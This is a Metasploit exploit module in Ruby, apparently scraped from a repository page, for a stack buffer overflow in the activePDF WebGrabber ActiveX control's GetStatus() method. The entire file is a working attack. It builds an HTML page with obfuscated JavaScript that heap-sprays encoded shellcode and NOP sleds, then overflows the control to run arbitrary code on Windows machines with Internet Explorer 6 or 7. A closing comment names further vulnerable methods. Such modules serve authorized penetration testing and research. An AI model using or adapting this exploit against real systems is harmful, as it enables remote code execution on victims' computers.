Path: blob/master/modules/exploits/windows/fileformat/activepdf_webgrabber.rb
19721 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = LowRanking78include Msf::Exploit::FILEFORMAT910def initialize(info = {})11super(12update_info(13info,14'Name' => 'activePDF WebGrabber ActiveX Control Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When17sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)18an attacker may be able to execute arbitrary code. This control is not marked safe19for scripting, so choose your attack vector accordingly.20},21'License' => MSF_LICENSE,22'Author' => [ 'MC' ],23'References' => [24[ 'OSVDB', '64579'],25[ 'URL', 'http://www.activepdf.com/products/serverproducts/webgrabber/' ],26],27'DefaultOptions' => {28'EXITFUNC' => 'process',29'DisablePayloadHandler' => true30},31'Payload' => {32'Space' => 1024,33'BadChars' => "\x00",34},35'Platform' => 'win',36'Targets' => [37[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]38],39'DisclosureDate' => '2008-08-26',40'DefaultTarget' => 0,41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)4849register_options(50[51OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),52]53)54end5556def exploit57# Encode the shellcode.58shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))5960# Create some nops.61nops = Rex::Text.to_unescape(make_nops(4))6263# Set the return.64ret = Rex::Text.uri_encode([target.ret].pack('L'))6566# Randomize the javascript variable names.67vname = rand_text_alpha(rand(100) + 1)68var_i = rand_text_alpha(rand(30) + 2)69rand1 = rand_text_alpha(rand(100) + 1)70rand2 = rand_text_alpha(rand(100) + 1)71rand3 = rand_text_alpha(rand(100) + 1)72rand4 = rand_text_alpha(rand(100) + 1)73rand5 = rand_text_alpha(rand(100) + 1)74rand6 = rand_text_alpha(rand(100) + 1)75rand7 = rand_text_alpha(rand(100) + 1)76rand8 = rand_text_alpha(rand(100) + 1)7778content = %Q|<html>79<head>80<script>81try {82var #{vname} = new ActiveXObject('APWebGrabber.Object');83var #{rand1} = unescape('#{shellcode}');84var #{rand2} = unescape('#{nops}');85var #{rand3} = 20;86var #{rand4} = #{rand3} + #{rand1}.length;87while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};88var #{rand5} = #{rand2}.substring(0,#{rand4});89var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});90while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};91var #{rand7} = new Array();92for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }93var #{rand8} = "";94for (#{var_i} = 0; #{var_i} < 800; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }95#{vname}.GetStatus(#{rand8},1);96} catch( e ) { window.location = 'about:blank' ; }97</script>98</head>99</html>100|101102content = Rex::Text.randomize_space(content)103104print_status("Creating '#{datastore['FILENAME']}' file ...")105106file_create(content)107end108end109110=begin111112Other methods that are vulnerable.113114[id(0x00000050), helpstring("Clean up after a WWWPrint call.")]115void CleanUp(BSTR ServerIPAddress, long ServerPort);116117[id(0x00000055)]118BSTR Wait(BSTR IPAddress, long PortNumber, short WaitTime, BSTR AcceptedCommands);119120...and probably more.121=end122123124